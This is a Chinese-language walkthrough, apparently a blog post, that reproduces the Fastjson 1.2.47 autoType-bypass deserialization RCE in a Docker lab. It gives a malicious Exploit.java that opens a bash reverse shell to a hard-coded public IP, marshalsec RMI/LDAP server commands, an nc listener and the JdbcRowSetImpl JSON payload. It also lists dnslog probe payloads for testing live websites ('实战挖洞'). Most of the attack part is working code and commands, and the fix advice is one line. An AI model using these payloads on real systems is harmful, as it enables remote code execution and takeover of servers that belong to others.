目录
3.修改字段值:Content-Type: application/json
4.添加payload,记得修改自己的ip,这里的端口是RMI的端口.
一.漏洞描述
Fastjson 是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列 化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。Fastjson提供了autotype功能,允许用户在反序列化数据中通过“@type”指定反序列化的类型,其 次,Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法,那么当组件 开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流 程进入特定类的特定setter或者getter方法中,若指定类的指定方法中有可被恶意利用的逻辑(也 就是通常所指的“Gadget”),则会造成一些严重的安全问题。并且在Fastjson 1.2.47及以下版本 中,利用其缓存机制可实现对未开启autotype功能的绕过。
1.漏洞原理
相比1.2.24,1.2.47过滤了许多恶意类的上传姿势以及关闭了 autoType ,但可以利用fastjson中有一个全局缓存,当有类进行加载时,如果autoType没开启,会尝试从缓存中获取类,如果缓存中有,则直接返回。所以可以先上传一个带有恶意类的json数据,让它执行并存入缓存这样就可以实现绕过。
简述: 1.2.47及以下版本中,利用其缓存机制可实现对未开启autotype功能的绕过
2.影响版本
Fastjson <= 1.2.47
二.环境搭建
1.环境下载
2.环境启动
在Centos7里面启动环境:
切换目录到Fastjson/1.2.47
docker-compose up -d #启动环境
docker ps #查看已经启动的环境
ip a #查看ip
在浏览器访问 ip:端口(8090)
出现如上界面则表示环境启动成功!
三.漏洞复现
步骤一.编写恶意类文件Exploit.Java
1.我们在云服务器里面先编写以下的恶意文件Exploit.java,然后将其解析成Exploit.class文件.
vim Exploit.java #创建并编写类
进入之后按 " i "键 进行编辑.bash命令为: (你的ip152.136.102.131)的5555端口
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/152.136.102.131/5555 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
}
}
}
然后按 "esc" -> " : " -> " wq " #进行保存并退出.
使用javac进行编译:
javac Exploit.java #编译
如果你的环境没有javac,请参考CentOS 7 安装和配置java环境_Jietewang的博客-CSDN博客
步骤二.开启http服务
在exploit.class所在目录启动http服务
python3 -m http.server #起一个HTTP服务
这里我们的http服务默认为8000端口,我们也可以直接在 http.server后加上空格+端口号,进行指定端口.
浏览器验证,是否能够从web服务中访问到Exploit.class文件(必须要保证从web服务中能够访问到)
步骤三.开启RMI
1. 接下来使用marshalsec项目,启动RMI服务,监听8888端口并加载远程类Exploit.class:
再起一个命令窗口点击宝塔后面的"+".
然后将下载的jar包复制到刚刚启动服务的文件夹下面
此处拓展::(LDAP服务启动)
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://152.136.102.131:8000/#Exploit" 1389
RMI服务启动 --这里开启RMI服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://152.136.102.131:8000/#Exploit" 8888
PS:以上两种服务选择启动那个服务都行。这里开启RMI服务,注意要更改IP中的内容为你的web服务。
步骤四.开启nc监听反弹
再起一个命令窗口,点击宝塔后面的"+"
攻击机新开终端,监听之前Exploit.java里面写的反弹shell的端口5555
nc -lvnp 5555 #开启nc监听
步骤五.抓包,发送payload
1.浏览器设置代理,开启bp抓包 .
2.发送到重发器,并修改GET-->POST
3.修改字段值:Content-Type: application/json
4.添加payload,记得修改自己的ip,这里的端口是RMI的端口.
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://152.136.102.131:8888/Exploit",
"autoCommit":true
}
}
点击发送之后,在你的公网IP上面查看是否反弹成功.
成功接收到请求和反弹的shell.
四.修复建议
升级版本
推荐工具
BurpFastJsonScan-1.0.8.jar
fastjson_tool.jar
实战挖洞
给你一个网站判断它是否使用了fastjson
1.取消请求包中的json的闭合,根据报错判断是否使用了fastjson
2.更多登录口 , 传递的数据是json格式 , 加上网站是java编写的 测试fastjson 利用dnslog盲打
1. 利用java.net.Inet[4|6]Address
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
2. 利用java.net.InetSocketAddress
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
3. 利用java.net.URL
{{"@type":"java.net.URL","val":"http://dnslog"}:"x"}
4. 其他变形
{"@type":"com.alibaba.fastjson.JSONObject",
{"@type":"java.net.URL","val":"http://dnslog”}}""}
Set[{"@type":"java.net.URL","val":"http://dnslog"}]
Set[{"@type":"java.net.URL","val":"http://dnslog"}
{{"@type":"java.net.URL","val":"http://dnslog"}:0
1.2.67版本前
{"zeo":{"@type":"java.net.Inet4Address","val":"fatu5k.dnslog.cn"}}
1.2.67版本后payload
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://qobdfn.dnslog.cn/exp",
"autoCommit":true
}
}